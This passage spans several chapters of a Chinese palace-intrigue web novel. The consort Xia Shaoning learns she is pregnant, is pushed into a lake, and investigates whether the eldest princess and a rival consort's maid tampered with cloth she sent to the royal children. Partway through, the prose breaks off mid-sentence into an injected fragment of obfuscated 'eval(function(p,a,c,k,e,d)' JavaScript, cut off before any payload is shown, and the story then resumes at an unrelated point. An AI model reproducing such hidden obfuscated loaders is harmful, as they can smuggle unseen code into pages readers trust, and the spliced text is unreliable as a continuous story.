蕙心带着宫女们给郝氏与柳氏上了茶,便规规矩矩地退了下去,这会儿的殿内便只剩下夏韶宁和她们两人了。 郝氏与柳氏都是第一次进宫,夏韶宁一早便让李顺去宫门口等着了,待二人到了以后便一路将她们带到了承乾宫。 两人自从上了入宫的马车后心中就特别紧张,柳氏还尚能保持一丝面上的镇定,郝氏却是一打眼瞧过去就能看出她的不自然。 眼见着这会儿伺候的人终于都退出去了,郝氏这才大大地松了一口气。 “宁儿……” “母亲,咱们该向贵妃娘娘请安的。” 郝氏刚想开口说话,却被一旁的儿媳妇扯住了手,这会儿才想起来上首坐着的女儿如今已经是贵妃娘娘了。 于是两人便立刻跪下身来朝着夏韶宁道,“臣妇给昭贵妃娘娘请安,昭贵妃娘娘万安。” “母亲和大嫂快快起来!”眼见着一向疼爱自己的母亲和大嫂居然跪着朝自己请安,夏韶宁心中着实有些不适,眼见着两人行完了礼,便立刻将两人扶了起来。 “来宫里之前,父亲与相公都交代过了,娘娘如今是贵妃了,该有的礼数可不能省略。宫里人多口杂,太后娘娘又最重规矩,到时候若是传到她人的耳朵里,该说娘娘与咱们夏家不知礼数了。” 柳氏站起身来,怕夏韶宁觉得她们与她生分了,于是便急忙对着夏韶宁解释道。 “我倒是没有父亲与大哥考虑得周到。”听得柳氏的解释,夏韶宁这才明白为何她们执意要对着自己行大礼。 “宁……娘娘这几个月过得可好?” 郝氏倒是不管那么多,她抬眼瞧着夏韶宁瘦得明显,这会儿可是心疼得不得了,眼眶都不知不觉地红了起来。 “母亲别难过,我好得很呢!”看着郝氏这般样子,夏韶宁心里也有些酸了起来,“只是今日一别,大概要等三年以后才能相见了,也不知道父亲怪不怪我擅自答应了圣上将他外放的旨意。” “娘娘别胡思乱想,老爷当然明白您与圣上的良苦用心。”哪怕郝氏再愚钝,这会儿子也看出了夏韶宁面上的无奈。 “老爷说了,他若是不外放,这辈子撑死也只能做到个五品官。只是娘娘如今已经是贵妃了,若是娘家家世一直这般低,娘娘在宫里的日子也不过好。倒是不如趁着他还不算太老,去外放历练积累一番,日后回了金州,也可为圣上与娘娘分忧。” 夏韶宁听着郝氏一字一句地传达着父亲的想法,心中忽然觉得她这个父亲真的不像面上看着的那般木讷。就如萧祈安说的,夏宽是个有能力也有大智慧的人。 “难为父亲这般理解我。”夏韶宁呼了一口气,再抬头终于对着两人露出了难得的笑脸。 “父亲这番去辽州,母亲要跟着一块儿去吗?还有祖母,也一块去吗?” “老爷说了,母亲年纪大了,就不再折腾她了。他去了辽州,明朗和英儿还在家里,这几年就让他们夫妇俩照顾着母亲吧。” 说到这儿,郝氏看了一眼坐在自己身边的柳白英,对自己这个儿媳妇那可真是一百个放心。 “最后决定我与你姨娘跟着老爷一道去辽州,冉儿还没定人家,就让李姨娘在家陪着冉儿也服侍着母亲,这般正好。” 听得郝氏的这般安排,夏韶宁还是觉得很满意的。 郝氏是主母,但是性格有些莽撞,跟着夏宽去了辽州免不了要应付那群地方官员家的女眷们。有她的亲娘付氏跟在身边帮着应付一番,倒是也不至于让自己吃亏。 “母亲今日提起冉儿,我倒是想起来了,冉儿今年十六了,父亲这又得外放辽州三年,没想过要给冉儿先定个人家吗?” 说起这个性子柔弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说到这里,夏韶宁又深深看了郝氏和柳氏一眼,朗声道,“倒是夏府的一切,还是要拜托母亲和嫂嫂了!” 第一百九十一章 终于有孕 九月就这样悄悄过去了,等到夏韶宁反应过来的时候,已经是十月中旬了。 因着先帝今年驾崩,哪怕已经过了孝期,宫里还是默认不举行任何的节日活动。 所以夏韶宁也就少了很多筹备宴会、庆典等麻烦的事情。虽然她这个人很好学也很愿意学,但是如果可以当一条咸鱼,谁又不想好好休息呢? 而人只要一闲下来,就很容易关注一些其他问题。就比如这几天,夏韶宁就觉得自己的身体变得很不对劲。 “蕙心,若是我没记错,我三日前是不是就该来月信了?” 这一日,夏韶宁正坐在窗前喝茶,忽然感觉自己的某个地方有些胀痛,想一想时间,脸色忽然就变了。 “娘娘这么一说,奴婢也忽然想起来了,您这月的月信好像是迟了三日了。” 蕙心这会儿正在整理夏韶宁入冬的衣物,听得她的问话,一下子也愣住了。 这个时候的夏韶宁,心中忽然有了一丝激动的感觉。她也没再继续开口,随即小心翼翼地用一只手的手指搭上了另外一只手的手腕上。 蕙心也意识到了娘娘是在做什么,也不整理衣服了,连声都不敢出,急忙蹲在夏韶宁的脚边牢牢地盯着她把脉的那只手。 人在遇到事情的时候总会觉得当下的时间过得特别慢,连夏韶宁自己都不知道过了多久,她终于将手给放了下来。 她伸出手来将蹲在地上的蕙心拉了起来,与她说话的语气是抑制不住的兴奋。 “蕙心,我有孕了!我终于要有一个与自己血脉相连的孩子了!” …… 夏韶宁并没有因为这突如其来有孕的消息乱了分寸,在把出自己有孕后,她转头就让蕙心去太医院把辛夷给请来了。 因着之前在先帝的孝期内,宫里的所有部门都很忙,说起来,这还是夏韶宁入宫后第一次见到辛夷。 辛夷入了内殿,先是抑制住了自己兴奋的情绪跪下身来规规矩矩对着夏韶宁请了安,再起身的时候,夏韶宁才看见她居然蓄了满眼的泪。 “瞧你,都是女医官了,怎么倒是变得比从前爱哭了?”夏韶宁笑着对着辛夷招了招手,“到我身边来,让我好好看看你。” 辛夷别过头来偷偷将眼角的泪擦干,这才走到夏韶宁的身边小心翼翼地拉住了她的手。 “娘娘……真的已经有了月余的身孕了。”辛夷翻来覆去地将夏韶宁的两只手都把了一遍,这才兴奋地对着她道,“娘娘的脉象强健有力,如此瞧着是个健康的小主子!” “你替我看过了,我就放心了,我还总怕自己把错了。”听得辛夷这番话,刚刚还有些不确定的夏韶宁终于放下心来,“三年了,我还以为是之前那药把我的身子吃坏了,还怕这辈子都生不出孩子来了呢!” “呸呸呸,娘娘是有福之人,怎会生不出孩子?如今看来小主子更是有福之人,这可是圣上登基以后的第一个孩子!” 看着夏韶宁松了口气的样子,兰芷倒是显得比她本人更开心的样子。 从前在潜邸的时候,几个人里面就兰芷最希望夏韶宁早日生下个小主子。没想到这小主子还真是会挑时间,这就来了。 “是啊,这般算起来,娘娘的预产期大概在明年七月。坐完月子正好赶得上光启年间第一次选秀,一切都刚刚好。” 辛夷环顾四周,从一旁的椅子上又拿过了一个靠枕垫在了夏韶宁的腰上,转头对着其他宫女道,“娘娘初有孕,以后这殿内的座椅上都得放些软的靠枕,别让娘娘累着了。” 夏韶宁抬眼瞧着辛夷还是与从前在潜邸时那般一心一意地为着自己,心中别提多熨贴了。 “你别忙了,快坐下跟我说说,你这段时间过得可好?有没有人欺负你了?” 夏韶宁一边说一边拉过辛夷的手,示意她坐下陪自己说会儿话。 “一开始入太医院的时候,是有些遭人排挤,很多太医都在背后说我是靠关系进来的。” 辛夷坐了下来,一点点开始对着夏韶宁述说自己在太医院这段时日的生活。 “说实话,那段时间还是挺难熬的,也曾想过我一个女人入了这太医院,成了大容第一名女医官是好还是不好?” “可是渐渐地我就想起了娘娘从前同我说的话,让我别管那些无谓的事情,只一心救人便是,于是我便自己想通了。此后除了治病、研究药方,我一句多余的闲话都不说,一件闲事都不做。” “慢慢地,那些人也看到了我的努力,便也不再同一开始那么排斥我了。相反地因为我是女子,后宫里的娘娘还更愿意找我看病呢!” 说到这里,辛夷又有些激动地从椅子上站了起来。 “如今娘娘入了宫,辛夷又能继续伺候娘娘了,我心中真的好开心!” “我如今有了孕,你又在太医院任职,想来一切都是最好的安排了。”听得辛夷的话,知道她现在过得不错,夏韶宁也就放心了。 她不自觉地将手放在了自己尚平坦的小腹上,轻声道,“谢谢你选择当我的孩子,母妃一定要将这个世界上最好的东西,统统送给你!” …… 其实从前在那些小说里看到的后宫里有宫妃怀孕一瞒就瞒三个月,根本就是不现实的。 后宫的妃子,每一次侍寝都是有尚寝局记档的,每个妃子每月的换洗时间也是有记录的,想要瞒着圣上和后宫的众宫妃偷偷怀孕,显然是不可能的。 所以,夏韶宁也就没想过要瞒着萧祈安和其他人,辛夷从承乾宫离开以后,夏韶宁转头就往紫宸宫去了。 这会儿的萧祈安刚刚见过大臣,此刻正坐在龙椅上休息,便见着夏韶宁满脸带笑朝着自己走了过来。 本来刚刚议论事情还有些累,这会儿见着这丫头笑得开心,萧祈安忽然就觉得满身的疲惫瞬间就消失了。 “什么事要笑得这么开心?”萧祈安从龙椅上走了下来,自然而然地牵住了夏韶宁的手。 只是这一次的夏韶宁却没有随着他往前走,而是将萧祈安的手轻轻放到了她的小腹上。 萧祈安起先还有些不明所以,他皱着眉头盯着自己放在夏韶宁小腹上的手看了好一会儿,又抬头看着夏韶宁一直都在对着自己笑,于是他瞬间就明白了过来。 刚开始还是一抹浅浅的笑,到最后,萧祈安甚至控住不住就在紫宸殿放声大笑起来。 “哈哈哈哈哈,我有孩子了!我与宁儿终于要有孩子了!” 第一百九十二章 大公主 承乾宫昭贵妃有孕的消息,不出半日便传得满宫都知道了。 萧祈安开心得好像是第一次当父亲一样,恨不得把最好的东西全都送到夏韶宁那里去。 从晌午以后,张全和就带着一拨一拨送赏赐的人往承乾宫来了,足足跑了三趟,才将萧祈安吩咐要送到承乾宫的赏赐送完。 这会儿的夏韶宁正懒洋洋地歪在贵妃榻上,吩咐着她的贴身宫女们将萧祈安赏赐的东西一样一样地收拾好。 “厚的料子留下,含秋明日送到尚衣局去给我做几身冬天的厚衣裳。再挑一些颜色鲜艳的,送去重华宫里给大公主和三皇子吧。” “这一个月,娘娘已经送了三次东西去重华宫了。”兰芷拿着单子清点着白日里萧祈安送来的赏赐,转头看了眼夏韶宁,“还要送吗?” “圣上听到我有孕了如此开心,若是我再不对孝端皇后留下的两个孩子好一些,谁知道前朝后宫的那群人要怎么说我。” 夏韶宁接过惜春剥好的蜜橘放进了嘴里,说话的语气仍旧懒洋洋的。 “娘娘放心,奴婢派人盯着重华宫呢,大公主和三皇子的几个奶娘都是好的,没人在两位小主子面前搬弄是非。” 蕙心蹲下身来帮着夏韶宁揉了揉腿,语气温柔,“两位小主子定会记得娘娘的好的。” “我没想要他们记得我什么好,只是如今她们没了亲娘,我又是看着她们长大的,能帮就帮着点吧,就当是为我腹中的孩儿积福了。” 夏韶宁一边说,一边低下头伸出手来温柔地抚摸着自己的肚子,动作格外轻柔。 与此同时,重华宫。 “公主,昭贵妃又送了些好料子来,奴婢明日拿去尚衣局给您和三皇子做几身冬天的厚衣裳吧!” 眼见着大公主入了殿来,大公主的奶娘满脸开心地对着她道。 只是出乎奶娘意料之外的,听得她的话,大公主面上却是淡淡的。 “几匹料子罢了,从前我母后在的时候我与驰儿什么没有,要她在这装什么好人。” 大公主走到那几匹料子前,抬手就想要将那料子丢出去。可是脑海中忽然想起了一件事情,刚刚拿在手中的料子又被她放了下来。 “公主怎么了?奴婢怎么觉得您最近的情绪不大好?” 伺候大公主的奶娘是从前孝端皇后在时亲自为她选的,所以对大公主可以说是十分的了解了。 具体也说不上怎么了,只是她总觉得自昭贵妃娘娘有孕以后,大公主的性子好像就变得同从前完全不同了。 “没什么,只是最近在崇文馆上课时先生讲的课有些难,我学起来有些累。” 大公主并不想同奶娘说太多,是而这会儿说话的语气就有些敷衍。 “公主有何不懂的可以去问圣上啊,圣上最疼公主了。”瞧着大公主的情绪不高,奶娘便想要捡着好听的话哄哄她。 谁知道这话一出口,刚刚还只是面无表情的大公主,却忽然发起脾气来! “父皇哪里疼我了,我瞧着他如今心里只有昭贵妃和她肚子里那个庶子!” 说到这儿,大公主的面上忽然就露出了一丝十分悲伤的神情,到底还是冲到桌子前将白日里承乾宫送来的东西统统扫到了地上。 奶娘不知大公主怎么了,见着她生气了,也只好跪在地上不住地朝着她请起罪来。 “奶娘你起来,我不是冲着你。”似乎意识到了自己的表现有些过了,大公主到底还是走到奶娘身边将她从地上拉了起来。 “以后承乾宫送来的东西,无论是吃的穿的还是用的,一律不许给我和驰儿用。若是被我发现你们偷偷用了,我是要打你们板子的!” “是是是,奴婢记住了。”听得大公主的这番话,虽然奶娘心中还是有些不理解,但是她也不好忤逆大公主惹她生气了。 她站起身来看了看被大公主丢在地上的那几匹料子,摇了摇头就准备拿出去清理掉。 主子不要,大不了她们这些宫人分了就是,如此也不算白瞎了这些好料子。 谁知奶娘刚准备将料子拿出去,却被大公主给拦住了。 “这一次的不算,从下一次开始。手头上的这些你们拿去尚衣局给我和驰儿做衣裳吧!” …… 几天后。 “娘娘,三皇子身边的奶娘来报,说三皇子出事了!” 这会儿的夏韶宁正躺在贵妃榻上小憩,冷不防听得含秋从外头着急忙慌地跑了进来,惊得她猛地就睁开了眼睛。 “出什么事儿了?”夏韶宁从榻上坐了起来,转头盯着含秋问道,“三皇子怎么了?” “三皇子的奶娘刚刚来报,说三皇子今日早晨起床的时候身上忽然长了好多鲜红的疹子,口中一直不停哭喊着又热又痒,如今已经跑到了千里湖旁边闹着要往里头跳呢!” 含秋快步走到夏韶宁的身边,简单快速地将刚刚奶娘说的话对着她复述了一遍。 “胡闹!重华宫的那群宫人都是干什么吃的?怎么能让三皇子跑到千里湖去?!”听得含秋的话,夏韶宁“腾”的一声从贵妃榻上站了起来,“如今都是十月里了,万一三皇子一个不小心跌下去可怎么是好?” “惜春,你去太医院请两个擅小儿病症的太医去重华宫,蕙心和含秋还有李顺陪着我去千里湖看看!” 留下这句话,夏韶宁便带着蕙心和含秋急急忙忙往往千里湖去寻三皇子了。 夏韶宁紧赶慢赶赶到千里湖的时候,刚好瞧见三皇子正站在千里湖旁哇哇大哭,大公主正满脸焦急地和几个奶娘站在旁边哄着他。 “驰儿别哭了,快到姐姐这里来,姐姐给你请太医来看看,别再往湖边走了!” 大公主蹲在地上,手中拿着三皇子喜欢吃的东西在旁边引诱着他,希望他能赶快回到她们身边去。 可惜这会儿的三皇子仿佛中了邪一样谁说的话都不听,只是一个人站在千里湖旁边一边哭一边口齿不清道,“我好痒,好热,我要去湖里泡泡!要去泡泡!” “你们这么多人站在这里是做什么的?三皇子那么小一点儿的孩子,直接上去把他抱过来便是了,在这啰嗦什么?!” 瞧见眼前这幅景象,夏韶宁生气极了,转过头来就对着李顺小声道,“李顺,你趁三皇子不注意,赶快把他抱过来!快去!” 第一百九十三章 又落水 “不许你们靠近驰儿,你们走开!” 眼见着李顺就要往三皇子身边靠,大公主却忽然如同一只发疯的小狗一样猛地冲到了夏韶宁的身前,用尽了全身的力气将李顺推了开来。 大公主的奶娘一开始还没有反应过来,这会儿瞧见大公主忽然冲到昭贵妃面前,吓得急忙三步并作两步拉住大公主就要跪下给夏韶宁请罪。 “昭贵妃娘娘息怒,大公主是太担心三皇子了,不是故意要冲撞娘娘的……” “奶娘!你这么怕她做什么!!” 这会儿的大公主压根不肯朝着夏韶宁跪下来,眼见着奶娘仍在死命拉着她的手,她一把就将奶娘的手甩开了。 “驰儿就是因为穿了她送来的布料做成的衣裳才发了满身的疹子的,她还来这里装好人,我才不要她靠近驰儿!谁知道她还会想出什么办法去害驰儿!” 大公主如今已经快六岁了,这会儿的思维和口齿已经很清楚了。她说这话的时候一直死死盯着站在李顺身后的夏韶宁,而夏韶宁竟然在一个不到六岁的孩子脸上看到了一股浓烈的仇恨。 “怎么回事?”听得大公主这番话,夏韶宁的眉头也不自觉地皱了起来。她低下头来看了一眼跪在地上的奶娘,冷声道,“你来说。” 奶娘被点了名,这会儿也不能再装傻了。她跪在地上踌躇了好一会儿,才慢吞吞地开口了。 “前段时日贵妃娘娘派人送了一些料子来送给大公主和三皇子,奴婢们见着这料子极好,便想着送去尚衣局给两位小主子做几身冬天的衣裳。” “今日天气有些凉,三皇子的奶娘又见衣裳做好了,今日早晨便挑了一件合适的给三皇子穿上了。谁知道三皇子穿上这衣裳还不到半个时辰,身上就开始发起红疹来,三皇子一直哭哭啼啼说身上又热又痒,这才吵着闹着要往千里湖里跳呢!” 大公主的奶娘一边说,一边偷偷抬眼观察着夏韶宁的脸色。眼见着这位昭贵妃的脸色越来越差,奶娘便又忙不迭地补了一句,“贵妃娘娘别多心,或许三皇子身上起疹子并不是这衣裳导致的……” “怎么不是了!宫里的人都在说,说昭贵妃如今怀了孩子,父皇就不疼我们只疼她的孩子了!她一而再再而三地往重华宫送东西,不就是为了找机会害我们,觉得我们碍着她孩子的路了……” 听得奶娘因为惧怕说出来的话,大公主气得下意识地反驳了起来。只是她的话还没说完,就被奶娘死死地将嘴巴给捂住了。 此时的千里湖边忽然变得安静了起来,连刚刚一直哭喊着要往湖里跳的三皇子也不哭了,这会儿正瞪着那双哭得通红的大眼睛往夏韶宁这边看呢。 看着眼前这般乱哄哄的场面,夏韶宁却一声没吭。 她虽然耳朵在听着大公主和奶娘说话,眼睛却一直时不时地在往千里湖旁边的三皇子身上瞟。 眼见着这会儿三皇子的注意力已经被分散了,她也不敢开口喊人,在心里想了好大一会儿,她忽然以迅雷不及掩耳之势一把就朝着三皇子冲了过去! 站在她身边的蕙心和含秋都惊呆了,眼见着夏韶宁已经朝着三皇子冲了过去,她们两个也不由分说地急忙往夏韶宁身边扑去! “不许你动我弟弟,你走开!你快走开!” 眼见着夏韶宁还差一点点就要抓住三皇子的手了,大公主立刻挣脱了捂着她嘴的奶娘,一个箭步就朝着三皇子冲了过去! 一时之间,千里湖旁的场面变得十分的混乱。夏韶宁感觉自己身边有许多人朝着她扑了过来,她下意识地伸出手来护着自己的小腹,却在混乱中忽然感觉身后有人伸出手来推了她一下! 此刻的她本能的想要站起身来,可是却觉得脚底打滑一般怎么都站不住,“噗通”一声巨响,她整个人就掉进了冰冷的千里湖中! “娘娘!”这会儿的李顺是最靠近夏韶宁的,眼见着贵妃娘娘就在自己的眼皮子底下落了水,他整个人仿佛被电击了一般大脑瞬间空白了起来。 不过也就呆愣了几秒钟,他便忽然像开了窍一般即刻便将手中的拂尘丢到了一边,一个猛子就扎进了湖水里! 这会儿的夏韶宁感觉到自己的身体越来越重,她潜意识想要伸出手来往水面上扑腾,可是却感觉自己的手仿佛被灌了铅一样使不出一点儿力气。 就在她觉得自己快要沉入水底的时候,忽然就感觉自己被人给死死抓住了! “娘娘!您抓住奴才,奴才来救您了!” 耳边断断续续响起了李顺的声音,夏韶宁的心这才渐渐放了下来。 她使尽了全身的力气才够住了李顺的手,这才由得李顺带着她一点点往岸边游去。 “蕙心姐姐,我把娘娘救上来了,快叫太医!” 就在众人站在岸边焦急万分的时候,便见着浑身湿漉漉的李顺用尽全力将夏韶宁托到了岸上! “娘娘您撑住,奴婢去找太医来!” …… 承乾宫。 睡梦中的夏韶宁忽然觉得耳边有些吵,只是她的眼皮实在太重了,怎么都睁不开眼睛。 于是她只能暂时闭着眼睛,听着耳边传来的各种说话声。 “你这孩子心思怎么这般狠毒?!昭母妃她有孕了,你怎能把她往水里推?!” “我没有推她,是她自己掉下去的,父皇怎么能冤枉我?!” “父皇如今心里只有昭母妃,怕是早就将我的母后忘记了!我的母后才是正经的皇后,我和驰儿才是正经的嫡子嫡女,她肚子里的孩子又算什么?就算是个儿子,也是个庶子,怎能与我和驰儿相提并论?!” “萧心若!到底是谁教你说的这些嫡嫡庶庶的胡话?!从前你母后在的时候是怎么教你的,你都忘记了吗?” 听着耳边吵闹的声音越来越大,夏韶宁只好强迫自己把眼睛睁了开来。还好这次,她成功了。 “陛下别气了……臣妾没事儿了……” 第一百九十四章 怀疑 “宁儿,你醒了,有没有觉得哪里不舒服?” 这厢的萧祈安正被梗着脖子就是不认错的大公主气得头疼,便感觉自己的手被人轻轻地抓住了。他忙转头一看,这才发现夏韶宁不知何时已经醒了过来。 “陛下,臣妾肚子里的孩子怎么样了?” 眼瞧着众人都把目光转向了自己,夏韶宁急忙开口询问萧祈安。 毕竟她如今有孕才月余,这十月里的天好端端地跌进了如此冰冷的湖水里,她真的很担心这孩子没办法保住。 “幸好你身边的内侍机灵,及时将你救起来了。孩子没什么事儿,倒是你自己还有没有哪里不舒服?” 萧祈安伸出手来摸了摸夏韶宁的额头,发现她的体温没有哪里不正常的,这才放心了许多。 听得萧祈安这番话,夏韶宁还是有些不放心。最后还是蕙心和兰芷双双给了她一个安定的眼神,她才渐渐安心下来。 “孩子没事就好,臣妾没有哪里不舒服了。” 其实刚刚落水大概不到十分钟自己就被李顺给救起来了,这会儿已经换了干净的衣裳屋子里也烧起了暖暖的地龙,夏韶宁早就已经缓过来了。 这会儿的大公主,一直站在一旁,眼见着自己的父皇心里眼里全都是别的女人的孩子,更是气得眼睛都红了起来。 “她是没事了,可是驰儿这会儿正难受地躺在重华宫的榻上,父皇都不去看看他吗?” 夏韶宁一开始只顾着自己肚子里的孩子,这会儿听得大公主出声,这才注意到了一旁眼眶发红的小姑娘。 她盯着大公主看了好一会儿,才发现这姑娘不知何时已经开始抽条了。这般发现,夏韶宁还真的不能确定到底是不是她趁着混乱将自己推进千里湖的。 眼见着躺在床上的夏韶宁一直不出声,萧祈安便知她心中也是有气的,只是当着孩子和宫人的面,她是绝对不会表现出来的。 可是那厢三皇子也的确生病了,萧祈安作为孩子的父皇,无论如何也是该去看看的。 于是他只得轻轻捏了捏夏韶宁的手,轻声对着她道,“朕一会儿就下旨让辛夷住到承乾宫来照顾你直到你生产。你好好休息,朕晚些时候再来看你。” 说完这番话,萧祈安便带着大公主离开了。 眼见着父皇要走,大公主急忙跟了上去,而踏出内殿的那一刻,她却转过头来对着夏韶宁露出了一丝胜利者的微笑。 夏韶宁心中一怔。 两人离开之后。 “含秋,你去一趟尚衣局,将前段时间给三皇子做了衣裳的所有宫人都细细盘问一遍,只要有疑点的就全都带回来我亲自审问!我倒是要看看,谁敢把我当傻子,借我的手来搞事情!” 夏韶宁靠在床头,厉声对着含秋吩咐了一声。这会儿的含秋心里也憋着一股气,不管怎么说那料子都是经她的手送进重华宫的,如今出了事,她比谁都生气。 所以这会儿听得娘娘的吩咐,含秋便即刻应声去了。 “李顺,你到本宫身边来。”顺了一口气,夏韶宁便对着李顺招了招手。 这会儿的李顺也已经换了一身干净衣裳,只是因为赶着回来伺候夏韶宁,头发都没来得及擦干,还是湿漉漉的。 “娘娘……”李顺小心翼翼地走到了夏韶宁的身边,抬头看了她一眼又迅速低下了头去。 “多谢你今日救了本宫和本宫的孩子,你的诚心本宫看到了。”夏韶宁对着李顺笑了笑,而后又道,“日后在本宫身边伺候的时候不必这般小心翼翼的。” 李顺没想到堂堂贵妃娘娘居然真的会特意感谢他,一时间倒是有些不太适用,愣在原地半天说不出话来。 “高兴傻了不成?娘娘这话可是将你当作自己人了。”眼见着李顺这般傻呆呆的样子,蕙心忍不住捂着嘴笑了。 而一旁的兰芷更是直接丢了一条干净的毛巾到他身上对着他道,“快擦擦你那头发吧,别到时候生病了耽误伺候娘娘。” “诶,谢谢娘娘和二位姐姐。”看着自己就这样被众人接受了,李顺心中也是十分开心。 毕竟若是自己不犯错,他这辈子可能都得在贵妃娘娘身边伺候着了。能得了娘娘真心的信任,自己以后的日子也能好过许多。 “我落水的时候,李顺你是离我最近的。你仔细想一想,我身后那时候到底站了几个人,有哪几个人是最有可能从我背后将我推下水的?” 表达完了自己的感谢,夏韶宁便立刻进入了正题。 李顺这会儿已经擦干了头发,听得夏韶宁的问话,便立刻皱着眉头开始回忆起刚刚娘娘落水前的事情。 “当时娘娘站在三皇子的身边,奴才站在娘娘的身侧靠后一点儿的位置。蕙心姐姐和含秋姐姐没有大公主跑得快,就落在了大公主的后头。” “如今想一想,那会儿站在娘娘后头的……好像只有大公主和她的奶娘……” 李顺一开始说这话的时候还挺顺溜的,直到这件事情又牵扯到了大公主,他说话也变得有些断断续续起来。 毕竟他只是一个奴才,又怎么好置喙主子们之间的事情。 “娘娘,大公主如今站起来,都到您的腰边了,若是她真的有意想将您推下水,也不是不可能。” 眼见着夏韶宁听得李顺的话陷入了沉思,一向最是小心谨慎的蕙心也忍不住开口了。 这会儿的夏韶宁,耳边响起的都是自己心腹的声音。而不知为何,她此时的脑海里却全都是刚刚大公主跟着萧祈安离开时脸上的那抹略带挑衅的胜利者的笑容。 她忽然莫名地觉得全身都发凉了起来。 “蕙心,你亲自去查一查大公主最近除了身边的奶娘,是否还与其他人有比较密切的接触。” 夏韶宁心中有个猜测,可是她却打心底里不愿意相信一个不到六岁的小姑娘能做出这种事情。 这件事情,绝对不止所有人表面上看到的那么简单。 第一百九十五章 意外收获 萧祈安离开承乾宫的时候虽然说了晚些时候来看她,可是夏韶宁心里明白萧祈安今日是肯定不会来了。 她虽然落了水,可是如今身体并没有什么大碍,反观重华宫的三皇子,那满身的疹子似乎不太好办。 果然,晚膳过后,惜春便从外头入了内殿对着夏韶宁轻声道,“娘娘,张公公刚刚过来传话,说三公子身上的疹子似乎有些棘手,圣上今日怕是不能来陪娘娘了。” “我今日收拾东西来承乾宫的时候,刚好听到毛太医和齐太医在嘀咕三皇子的病。隐隐约约听到两位太医说,三皇子身上的疹子倒是没什么大问题,只是容易复发,怕是得好生修养一段时间了。” 白日里辛夷便已经得了萧祈安的旨意,让她住进承乾宫照顾夏韶宁直到她平安生下孩子。所以这会儿的辛夷又可以像从前在贤王府一样时刻呆在夏韶宁的身边照顾她了。 “不管怎么说,孝端皇后的娘家人在如今的大容尚能占据一席之地,而且这会儿也就剩下大公主和三皇子来维系皇室与纪家的关系了。若是圣上对三皇子的病不管不顾,前朝难免要说圣上苛待发妻的子女,不顾发妻娘家的脸面。” 夏韶宁当然不会在意萧祈安没有遵守约定来看她,如今的萧祈安已经不是从前的贤王了,他是大容的君主,要考虑的事情当然要比从前当王爷的时候要多很多。 “娘娘宽心,圣上心中定是有他的主意。”眼见着夏韶宁似乎又开始陷入了深思,辛夷忙对着夏韶宁宽心道,“不管怎么样,圣上心中是有娘娘和小主子的。” “我不在乎那些,我只希望我的孩子能平安来到这个世界上。” 说实话,从前在王府的时候夏韶宁就对那所谓男人的宠爱看得很淡。所以她才会一直默默地经营着从萧祈安那“搜刮”来的店铺,想要努力让自己早日财富自由。 经过这两三年的财富积累,她早就已经不是一开始那个担心自己失了宠爱就没钱会被饿死的夏韶宁了。 如今她的手中早就有了花不完的钱财,而如今又有了这个与自己血脉相通的孩子,她也就将那些所谓的男女感情之事看得更淡了。 现在她唯一的愿望就是希望萧祈安能够安稳地坐好他的这把龙椅,她才好一点点地将这个世界上最好的东西统统送给她的孩子。 *** 且说那一头的蕙心,得了夏韶宁的吩咐后转头就去打听大公主最近的事情了。 这不打听不知道,一打听还真有意外收获了。 “娘娘,奴婢这几日一直在想办法旁敲侧击地通过大公主身边的人打听大公主最近都做了什么或者见过什么人,如此还真叫奴婢打听着了!” 这一日夏韶宁刚歇了午觉起来,便见蕙心从外殿走了进来。 “嗯?如何?”夏韶宁本还有些困,听得蕙心的话一下子就清醒了过来。 “大公主身边的一个宫女,叫踏雪的,今年才只有十三岁。奴婢塞了些银子给她,她就什么都告诉奴婢了。” “原来大公主自入了重华宫以后,便一直同沈婕妤身边一个叫芳芸的宫女关系很好。” “大公主身边的奶娘管她管得严,在日常吃食上更是对她有许多不许。那芳芸便经常约着大公主在御花园见面,给大公主送一些她平日里都吃不到的东西。” “三皇子发疹子的前一天,大公主还与那芳芸见过面。据踏雪说,两人在一块足足呆了一个时辰,大公主才带着她们回了重华宫。” 说到这里,蕙心不再出声了,而夏韶宁便也已经明白了。 “看来这沈婕妤平日里照顾那两个病病歪歪的孩子还不够累啊,还有闲心在私下里偷偷摸摸地搞这种事。” 顿了好一会儿,夏韶宁这才语带嘲讽地开口了。 而就在夏韶宁听完蕙心的禀报后,含秋也紧随其后地入了殿来。 “娘娘,奴婢依着您的吩咐去盘问了一番尚衣局的宫人,大部分宫人都没有问题,只有这个小宫女在奴婢准备离开的时候偷偷拉住了奴婢。” 说完,含秋就将一个面容怯怯的小宫女带了上来。 “给……给昭贵妃娘娘请安……”那小宫女跪在地上,低着头连夏韶宁的脸都不敢看。 “你拉住含秋,是有事情要和本宫说?” 夏韶宁打量了一番眼前这个小宫女,见她身量很小,年纪应该不大,整个人看上去也仿佛一副惊吓过度的样子,于是她不自觉地就柔了些语气。 “是……是的。”小宫女本以为这宠冠六宫的贵妃娘娘肯定是个娇纵的性子,却没想到这位娘娘居然会如此好脾气地同她一个最底层的小宫女说话。一时之间胆子也就大了起来,说话也渐渐不再结巴了。 “前段时日大公主的奶娘送了些料子到尚衣局来说要给大公主和三皇子做秋装,尚衣局不敢耽搁,一周不到便将两位小主子的衣裳做好了。” “那一日管事本是让奴婢去重华宫送做好的衣裳的,哪知奴婢还没走到重华宫,半路上就遇上了大公主和一个同是宫女模样的人。” “大公主让奴婢把衣裳给她带回重华宫就行了,奴婢害怕出错死活不肯,结果那个宫女模样的人直接上手扇了奴婢好几巴掌,就将衣裳抢走了!” “且她们临走之前还恶狠狠地威胁奴婢,不许奴婢将今日的事情说出去。只是奴婢后来越想心中越委屈,恰逢含秋姐姐又来尚衣局问话,这才想着要将这件事情告诉贵妃娘娘!” 说到这里,那个小宫女忽然就委屈地哭了起来。 听得小宫女的话,夏韶宁便蹲下身子细细地盯着她的脸看了一会儿,果然瞧见两颊便还有一些轻微的红肿,看来这小宫女并没有说谎。 “你可认识那宫女是哪个宫的?” 夏韶宁蹲在地上,视线尽量同那小宫女平视。 那小宫女听得夏韶宁的问话,一时之间似乎有些苦恼。只见她闭着眼睛十分努力地想了好一会儿,最终才忽然睁大眼睛朗声道,“回娘娘的话,奴婢想起来了!” “那个宫女具体叫什么奴婢不知道,但是奴婢记得她之前好像陪着沈婕妤来过尚衣局取衣裳!若是没错的话,她应当是钟粹宫沈婕妤身边伺候的人!” 第一百九十六章 芳芸 